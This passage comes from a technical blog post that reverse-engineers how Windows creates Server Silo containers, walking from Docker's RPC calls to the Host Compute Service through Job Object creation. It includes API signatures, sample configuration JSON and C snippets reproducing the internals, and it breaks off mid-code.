<li>A <strong>Virtual Machine</strong> emulates the hardware components of a computer. An <strong>Operating System (OS)</strong> must be installed in the <strong>VM</strong> in order to use it. This <strong>OS</strong> is called the <strong>guest Operating System</strong>. The <strong>VM</strong> provides a full isolation from the <strong>host Operating System</strong>.</li>
</ul>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/vm_archi.png" width="100%">
</center></p>
<ul>
<li>A <strong>Container</strong> is a way to isolate processes in the same <strong>OS</strong>. The applications inside and outside a <strong>Container</strong> share the same <strong>Kernel</strong>.</li>
</ul>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/container_archi.png" width="100%">
</center></p>
<p>The table <a href="https://learn.microsoft.com/en-us/virtualization/windowscontainers/about/containers-vs-vm#containers-vs-virtual-machines-1">Containers vs. virtual machines</a> show the differences and similarities between <strong>Containers</strong> and <strong>VMs</strong>.</p>
<p>There are two types of <strong>Silos</strong>: <strong>Application Silo</strong> and <strong>Server Silo</strong>.</p>
<ul>
<li>
<p>An <strong>Application Silo</strong> is not a true <strong>Windows Container</strong>, it is mainly used with <a href="https://techcommunity.microsoft.com/t5/modern-work-app-consult-blog/desktop-bridge-8211-the-bridge-between-desktop-apps-and-the/ba-p/316488">Desktop Bridge technology</a>.</p>
</li>
<li>
<p>A <strong>Server Silo</strong> is a <strong>Windows Container</strong>, and this is the main target of our analysis.</p>
</li>
</ul>
<p>To create a <strong>Server Silo</strong>, it's necessary to first create
a <strong>Silo</strong> and then to convert it into a <strong>Server Silo</strong>. That's why this first article will only present the creation of a <strong>Silo</strong>.</p>
<p>In <a href="https://thomasvanlaere.com/posts/2021/06/exploring-windows-containers/">Exploring Windows Containers</a>, <a href="https://twitter.com/thomas_vanlaere">Thomas Van Laere</a> talks about <strong>Windows Containers</strong> including <strong>Server Silo</strong>. In his article, he shows that in order to create a <strong>Server Silo</strong>, <strong>Docker</strong> has to use the <strong>HCS (Host Compute Service)</strong>. At the end of his article, he managed to create a <strong>Windows Container</strong> by using the <strong>HCS</strong> interface. But this service remains a black box which hides the true creation of the <strong>Silo</strong>.</p>
<p>The <strong>Host Compute Service</strong> is based on <code>vmcompute.exe</code> and is in charge of providing support for virtual machines and containers.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/hcs_service.png" width="40%">
</center></p>
<p>The sections below aim to answer the following question: What <strong>HCS</strong> does to create a <strong>Silo</strong>?</p>
<p>As we'll see later, <strong>Silos</strong> are based on <strong>Job Objects</strong> in order to set up the process isolation. So first, let's take a moment to introduce them.</p>
<h2>Job Objects</h2>
<p>Windows' <a href="https://learn.microsoft.com/en-US/windows/win32/procthread/job-objects">Job Objects</a> are simply a way to manage groups of processes as a single unit. For instance, it's possible to manage processor affinity for each process inside a <strong>Job Object</strong>.</p>
<p>Later in this article we'll use two functions of the <strong>Job Objects</strong> API.</p>
<div class="highlight"><pre><span></span><code><span class="n">NTSTATUS</span><span class="w"> </span><span class="nf">NtCreateJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">HANDLE</span><span class="o">*</span><span class="w"> </span><span class="n">hJobHandle</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ACCESS_MASK</span><span class="w"> </span><span class="n">DesiredAccess</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">OBJECT_ATTRIBUTES</span><span class="o">*</span><span class="w"> </span><span class="n">pObjectAttributes</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>This function simply creates a <strong>Job Object</strong> and returns an <strong>HANDLE</strong> on it. The parameter <code>pObjectAttributes</code> allows setting attributes to the job such as its name in order to refer to it. The <code>DesiredAccess</code> defines the requested access to the object.</p>
<div class="highlight"><pre><span></span><code><span class="n">NTSTATUS</span><span class="w"> </span><span class="nf">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hJobHandle</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">JOBOBJECTINFOCLASS</span><span class="w"> </span><span class="n">InfoClass</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">pInfo</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">InfoLen</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p><code>NtSetInformationJobObject</code> can be used to interact with a <strong>Job Object</strong>. The <code>InfoClass</code> parameter is an enumeration that defines the type of the operation and the
<code>pInfo</code> parameter is the value or object used by the operation.</p>
<p>These two functions are part of the Windows private API. To use them, it is necessary to find their addresses inside the <code>NTDLL.dll</code> library.</p>
<h2>Docker</h2>
<p>In the <a href="#introduction">introduction</a>, we discussed that our objective is to understand how <strong>Windows</strong> creates a <strong>Server Silo</strong>. <strong>Docker</strong> allows us to easily create a container.
Depending on the isolation level, the container could eventually be a <strong>Server Silo</strong>.</p>
<p>While running <strong>Docker</strong> on <strong>Windows</strong>, containers will be <strong>Linux Containers</strong> by default. A <strong>Linux Container</strong> is a <strong>Virtual Machine</strong>, and we will see the difference between a <strong>VM isolation</strong> and <strong>process isolation</strong> right after.</p>
<p>It's possible to ask <strong>Docker</strong> to run <strong>Windows Containers</strong> with the <code>Switch to Windows containers...</code> option, as shown in the image below.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/docker_switch_windows_container.png" width="40%">
</center></p>
<p>Once done, when asking <strong>Docker</strong> to create a container, <a href="https://learn.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/hyperv-container#create-container">the technology used by default will depend on the version of Windows</a>:</p>
<blockquote>
<p>Windows containers running on Windows Server default to running with process isolation. Windows containers running on Windows 10 Pro and Enterprise default to running with Hyper-V isolation.</p>
</blockquote>
<p>Nevertheless, it's possible to choose the technology thanks to the <code>--isolation=(process|hyperv)</code> switch.</p>
<p>When using <a href="https://learn.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/hyperv-container#hyper-v-isolation">Hyper-V isolation</a>, the container runs inside a <strong>Virtual Machine</strong> with its own <strong>Operating System</strong> and <strong>Kernel</strong>.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/container-arch-hyperv.png">
</center></p>
<p>If <a href="https://learn.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/hyperv-container#process-isolation">process isolation</a> is used, the container runs directly on the host <strong>Operating System</strong>, and they share the same <strong>Kernel</strong>.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/container-arch-process.png">
</center></p>
<p>In the next part of this article, we'll use <strong>Docker</strong> to easily create <strong>Windows Containers</strong> to dynamically analyze what's happening on the system. The <strong>Docker image</strong> used is not particularly important. But to keep the container relatively small, we decided to use the <a href="https://hub.docker.com/_/microsoft-powershell">Powershell container</a>.</p>
<h2>Docker and RPC</h2>
<p>Before we are able to reverse the <strong>Server Silos</strong>, we need to find a good starting point.</p>
<p>As explained in various articles such as <a href="https://thomasvanlaere.com/posts/2021/06/exploring-windows-containers/">Exploring Windows Containers, by Thomas Van Laere</a> or <a href="https://www.cyberark.com/resources/threat-research-blog/understanding-windows-containers-communication">Understanding Windows Containers Communications, by Eviatar Gerzi</a>, <strong>Docker</strong> asks Windows to create a container by communicating with the <strong>Host Compute Service</strong>.</p>
<p>The communications between <strong>Docker</strong> and the <strong>Host Compute Service</strong> are done by using <strong>Remote Procedure Call (RPC)</strong>.</p>
<p><strong>RPC</strong> is a way to call a remote procedure in another process in the local or remote computer. This is done as a client/server communication. Calling an <strong>RPC</strong> function is as easy as calling a function in the way that developers don't need to manage the network part.</p>
<p>We can use <a href="https://github.com/cyberark/RPCMon">RPCMon</a> in order to monitor <strong>RPC</strong> and get an idea of the functions executed by the <strong>Host Compute Service</strong> when <strong>Docker</strong> asks it to create a container.</p>
<p>In order to identify a possible starting point for our research, we are going to monitor the creation of a container and the execution of a PowerShell inside.</p>
<p>Host:</p>
<div class="highlight"><pre><span></span><code><span class="n">docker</span> <span class="n">run</span> <span class="n">-it</span> <span class="p">-</span><span class="n">-rm</span> <span class="p">-</span><span class="n">-isolation</span><span class="p">=</span><span class="k">process</span> <span class="n">mcr</span><span class="p">.</span><span class="n">microsoft</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">windows</span><span class="p">/</span><span class="n">servercore</span><span class="p">:</span><span class="n">ltsc2022</span> <span class="n">powershell</span>
</code></pre></div>
<p>Inside the container:</p>
<div class="highlight"><pre><span></span><code><span class="n">Windows</span> <span class="n">PowerShell</span>
<span class="n">Copyright</span> <span class="p">(</span><span class="n">C</span><span class="p">)</span> <span class="n">Microsoft</span> <span class="n">Corporation</span><span class="p">.</span> <span class="n">All</span> <span class="n">rights</span> <span class="n">reserved</span><span class="p">.</span>
<span class="n">Install</span> <span class="n">the</span> <span class="n">latest</span> <span class="n">PowerShell</span> <span class="k">for</span> <span class="n">new</span> <span class="n">features</span> <span class="n">and</span> <span class="n">improvements</span><span class="p">!</span> <span class="n">https</span><span class="p">://</span><span class="n">aka</span><span class="p">.</span><span class="n">ms</span><span class="p">/</span><span class="n">PSWindows</span>
<span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nb">ls</span>
<span class="n">Directory</span><span class="p">:</span> <span class="n">C</span><span class="p">:\</span>
<span class="n">Mode</span> <span class="n">LastWriteTime</span> <span class="n">Length</span> <span class="n">Name</span>
<span class="p">----</span> <span class="p">-------------</span> <span class="p">------</span> <span class="p">----</span>
<span class="n">d-r</span><span class="p">---</span> <span class="n">3</span><span class="p">/</span><span class="n">10</span><span class="p">/</span><span class="n">2023</span> <span class="n">3</span><span class="p">:</span><span class="n">38</span> <span class="n">PM</span> <span class="n">Program</span> <span class="n">Files</span>
<span class="n">d</span><span class="p">-----</span> <span class="n">3</span><span class="p">/</span><span class="n">10</span><span class="p">/</span><span class="n">2023</span> <span class="n">7</span><span class="p">:</span><span class="n">24</span> <span class="n">AM</span> <span class="n">Program</span> <span class="n">Files</span> <span class="p">(</span><span class="n">x86</span><span class="p">)</span>
<span class="n">d-r</span><span class="p">---</span> <span class="n">3</span><span class="p">/</span><span class="n">10</span><span class="p">/</span><span class="n">2023</span> <span class="n">7</span><span class="p">:</span><span class="n">45</span> <span class="n">AM</span> <span class="n">Users</span>
<span class="n">d</span><span class="p">-----</span> <span class="n">7</span><span class="p">/</span><span class="n">21</span><span class="p">/</span><span class="n">2023</span> <span class="n">12</span><span class="p">:</span><span class="n">33</span> <span class="n">AM</span> <span class="n">Windows</span>
<span class="n">-a</span><span class="p">----</span> <span class="n">1</span><span class="p">/</span><span class="n">7</span><span class="p">/</span><span class="n">2023</span> <span class="n">12</span><span class="p">:</span><span class="n">40</span> <span class="n">AM</span> <span class="n">5647</span> <span class="n">License</span><span class="p">.</span><span class="n">txt</span>
<span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="n">exit</span>
</code></pre></div>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/rpcmon.png" width="60%">
</center></p>
<p>The drawing below summarizes the capture.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/rpc.png" width="40%">
</center></p>
<p>The <strong>RPC</strong> function names are quite self-explanatory and the second one, "<code>HcsRpc_CreateSystem</code>", seems to be the one in charge of creating the <strong>Windows Container</strong>.</p>
<p>This function will therefore be our entry point in <code>vmcompute.exe</code>.</p>
<h2>Silo Creation</h2>
<p>Now that we have an idea of where to start digging, we can focus on the <strong>Host Compute Service</strong>.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/create_system.png" width="40%">
</center></p>
<h3>HcsRpc_CreateSystem</h3>
<p>When this function is called, it receives 2 arguments.</p>
<p>The first one is the name of the container as a hex-string. For example:</p>
<div class="highlight"><pre><span></span><code><span class="s">"30a261e2546330f6572686b3a1197367671197fb6369b68c97344c07c6d22a2a"</span><span class="w"></span>
</code></pre></div>
<p>The second argument is a <strong>JSON</strong>-formatted string that contains information about the object the <strong>Host Compute Service</strong> should create. For instance, the following definition will be used to craft a <strong>Container</strong> having the same name as the previous argument.</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"SystemType"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Container"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"30a261e2546330f6572686b3a1197367671197fb6369b68c97344c07c6d22a2a"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"Owner"</span><span class="p">:</span><span class="w"> </span><span class="s2">"docker"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"VolumePath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"\\\\?\\Volume{4ab00c57-bbea-4895-b745-ee8d4847a963}"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"IgnoreFlushesDuringBoot"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"LayerFolderPath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"C:\\ProgramData\\Docker\\windowsfilter\\30a261e2546330f6572686b3a1197367671197fb6369b68c97344c07c6d22a2a"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"Layers"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"></span>
<span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"ID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"6ac038c1-a261-55ce-9fd9-95c017f02e6a"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"Path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"C:\\ProgramData\\Docker\\windowsfilter\\d69a5485fa6c6f3b10905855bad15a0ff9787a3c25d08d675064442db268154e"</span><span class="w"></span>
<span class="w"> </span><span class="p">},</span><span class="w"></span>
<span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"ID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"d6b78a6b-5e25-51d2-acf2-6c44310cd6ee"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"Path"</span><span class="p">:</span><span class="w"> </span><span class="s2">"C:\\ProgramData\\Docker\\windowsfilter\\b7267716533544c86c859ca4105d0e29bc7e6a495e131f89d9aa5a0303585b78"</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">],</span><span class="w"></span>
<span class="w"> </span><span class="nt">"HostName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"30a261e25463"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"HvPartition"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"EndpointList"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"></span>
<span class="w"> </span><span class="s2">"8d036da9-bbfd-4cd8-9f3f-c6d7db125dc3"</span><span class="w"></span>
<span class="w"> </span><span class="p">],</span><span class="w"></span>
<span class="w"> </span><span class="nt">"AllowUnqualifiedDNSQuery"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p><code>HcsRpc_CreateSystem</code> performs actions, such as <strong>checking RPC access</strong>, retrieving the <strong>client process ID</strong> or <strong>logging events</strong>, that are not relevant to this blog post. Therefore, we won't spend much time on it.</p>
<p>At some point, <code>HcsRpc_CreateSystem</code> calls <code>CreateComputeSystem</code>.</p>
<h3>CreateComputeSystem</h3>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">ComputeSystemManager</span><span class="o">::</span><span class="n">CreateComputeSystem</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">&</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">&</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">IVmHandleBrokerManager</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">ServerOperationProperties</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<ul>
<li>The first argument is an empty string ;</li>
<li>The second argument is a string containing the name of the container ;</li>
<li>Even if we haven't found a relevant definition of the third parameter, it seems to handle information like the <strong>JSON</strong> string we saw earlier ;</li>
<li>The fourth and fifth arguments could not be identified for now.</li>
</ul>
<p>Like in the previous function, <code>CreateComputeSystem</code> continues to <strong>log events</strong>, but the most interesting thing in our context, is that it also selects the <strong>Orchestrator</strong> that will be in charge of creating and configuring the container.</p>
<div class="highlight"><pre><span></span><code><span class="n">std</span><span class="o">::</span><span class="n">array</span><span class="o"><</span><span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o"><</span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">IComputeSystemOrchestrator</span><span class="o">></span><span class="p">,</span><span class="mi">10</span><span class="o">></span><span class="w"> </span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">OrchestratorRegistrar</span><span class="o"><</span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">IComputeSystemOrchestrator</span><span class="o">>::</span><span class="n">Orchestrators</span><span class="w"></span>
</code></pre></div>
<p>This <strong>Orchestrator</strong> is a C++ object whose <strong>constructor</strong> set the container's environment.</p>
<h3>WindowsContainerOrchestrator::Construct</h3>
<p>During its initialization, the <strong>Orchestrator</strong> sets up the <strong>network</strong> and the <strong>sandbox</strong> for the container. Although we won't go into detail about these parts in this article, we're going to give them a brief introduction. The 2 functions used are <code>SetupNetworking</code> and <code>SetupSandbox</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">Details</span><span class="o">::</span><span class="n">SetupNetworking</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">WindowsContainerConfiguration</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">WindowsContainerState</span><span class="w"> </span><span class="o">*</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">WindowsContainer</span><span class="o">::</span><span class="n">SetupSandbox</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">WindowsContainerConfiguration</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">WindowsContainerState</span><span class="w"> </span><span class="o">*</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>The <strong>sandbox</strong> part is related to the creation of the virtual disk <code>sandbox.vhdx</code> which will be used as the file system of the container. You can find more information about <code>vhdx</code> file in the following blog-post <a href="https://research.checkpoint.com/2021/playing-in-the-windows-sandbox/">Playing in the windows sandbox, by Alex Ilgayev</a>.</p>
<p>The <strong>network</strong> part seems to be linked with the creation of the <a href="https://learn.microsoft.com/en-us/virtualization/windowscontainers/container-networking/architecture">virtual network adapter</a>(<strong>vNIC</strong>).</p>
<p>After that, <code>vmcompute.exe</code> will prepare the schema of the container based on the following template files by calling the <code>CreateDefinitionObject</code> function:</p>
<ul>
<li><code>C:\Windows\system32\containers\devices.def</code></li>
<li><code>C:\Windows\system32\containers\devices.Windows.Desktop.def</code></li>
<li><code>C:\Windows\system32\containers\wsc.def</code></li>
</ul>
<p>Finally, the <code>ComputeService::ContainerUtilities::CreateWindowsContainer</code> is called.</p>
<h3>CreateWindowsContainer</h3>
<p><code>CreateWindowContainer</code> is in charge of creating the <strong>Job Object</strong>. As a reminder, <strong>Job Object</strong> is the base for <strong>Silos</strong>. The name of the <strong>Job Object</strong> is generated with the <code>GetWindowsContainerJobName</code> function. </p>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">ContainerUtilities</span><span class="o">::</span><span class="n">GetWindowsContainerJobName</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">&</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p><code>GetWindowsContainerJobName</code> simply concatenates the string <code>"\Container_"</code> with the name of the container passed by <code>Docker</code>.</p>
<p>For instance, in our previous example, Docker gave our future container the name:</p>
<div class="highlight"><pre><span></span><code><span class="s">"30a261e2546330f6572686b3a1197367671197fb6369b68c97344c07c6d22a2a"</span><span class="w"></span>
</code></pre></div>
<p>It will result into:</p>
<div class="highlight"><pre><span></span><code><span class="s">"\Container_30a261e2546330f6572686b3a1197367671197fb6369b68c97344c07c6d22a2a"</span><span class="w"></span>
</code></pre></div>
<p>The code snippet below shows the creation of the <strong>Job Object</strong> with all its parameters.</p>
<div class="highlight"><pre><span></span><code><span class="cp">#define JOB_OBJECT_NAME L"\\Container_30A261E2546330F6572686B3A1197367671197FB6369B68C97344C07C6D22A2A"</span>
<span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">jobName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&</span><span class="n">jobName</span><span class="p">,</span><span class="w"> </span><span class="n">JOB_OBJECT_NAME</span><span class="p">);</span><span class="w"></span>
<span class="n">OBJECT_ATTRIBUTES</span><span class="w"> </span><span class="n">jobAttributes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="n">jobAttributes</span><span class="p">.</span><span class="n">Length</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x30</span><span class="p">;</span><span class="w"></span>
<span class="n">jobAttributes</span><span class="p">.</span><span class="n">RootDirectory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="n">jobAttributes</span><span class="p">.</span><span class="n">ObjectName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">jobName</span><span class="p">;</span><span class="w"></span>
<span class="n">jobAttributes</span><span class="p">.</span><span class="n">Attributes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OBJ_PERMANENT</span><span class="p">;</span><span class="w"></span>
<span class="n">jobAttributes</span><span class="p">.</span><span class="n">SecurityDescriptor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="n">jobAttributes</span><span class="p">.</span><span class="n">SecurityQualityOfService</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="n">ACCESS_MASK</span><span class="w"> </span><span class="n">accessMask</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x1f003f</span><span class="p">;</span><span class="w"></span>
<span class="n">HANDLE</span><span class="w"> </span><span class="n">hJob</span><span class="p">;</span><span class="w"></span>
<span class="n">NTSTATUS</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">NtCreateJobObject</span><span class="p">(</span><span class="o">&</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="n">accessMask</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">jobAttributes</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>So, after getting a valid <strong>Job Object HANDLE</strong>, it becomes possible to interact with it thanks to the <code>NtSetInformationJobObject</code> function and this is how <code>vmcompute.exe</code> is able to convert the <strong>Job Object</strong> in a <strong>Silo</strong>.</p>
<p>The first thing it does is setting the value of the <code>ContainerTelemetryId</code> field inside the <strong>Job Object</strong> (in the <strong>Kernel</strong>).</p>
<p>The <code>ContainerTelemetryId</code> is calculated by calling <code>ComputeService::Management::ConvertIdToGuid</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">Management</span><span class="o">::</span><span class="n">ConvertIdToGuid</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">ushort</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">_GUID</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">&</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>This function takes 2 parameters:</p>
<ul>
<li>The system seed ID, which is a constant ;</li>
<li>The name (<strong>in uppercase</strong>) of the container.</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="n">UINT64</span><span class="w"> </span><span class="n">ComputeSystemSeedId</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x41e4facbcab70344</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x6e3e289265abe5b5</span><span class="w"></span>
<span class="p">};</span><span class="w"></span>
</code></pre></div>
<p><code>ComputeService::Management::ConvertIdToGuid</code> can be split in 3 steps.</p>
<p>First, it transforms the <code>ComputeSystemSeedId</code> through a series of 16 and 32 bit swaps, as illustrated with the following code:</p>
<div class="highlight"><pre><span></span><code><span class="n">UINT32</span><span class="w"> </span><span class="nf">swap_uint32</span><span class="p">(</span><span class="n">UINT32</span><span class="w"> </span><span class="n">val</span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">((</span><span class="n">val</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00FF00</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">((</span><span class="n">val</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF00FF</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">16</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">16</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="n">UINT16</span><span class="w"> </span><span class="nf">swap_uint16</span><span class="p">(</span><span class="n">UINT16</span><span class="w"> </span><span class="n">val</span><span class="p">)</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">8</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">8</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="n">UINT32</span><span class="o">*</span><span class="w"> </span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT32</span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="p">(</span><span class="n">ComputeSystemSeedId</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span><span class="w"></span>
<span class="n">UINT16</span><span class="o">*</span><span class="w"> </span><span class="n">tmp16</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="p">(</span><span class="n">ComputeSystemSeedId</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span><span class="w"></span>
<span class="o">*</span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint32</span><span class="p">(</span><span class="o">*</span><span class="n">tmp32</span><span class="p">);</span><span class="w"> </span><span class="c1">// bswap</span>
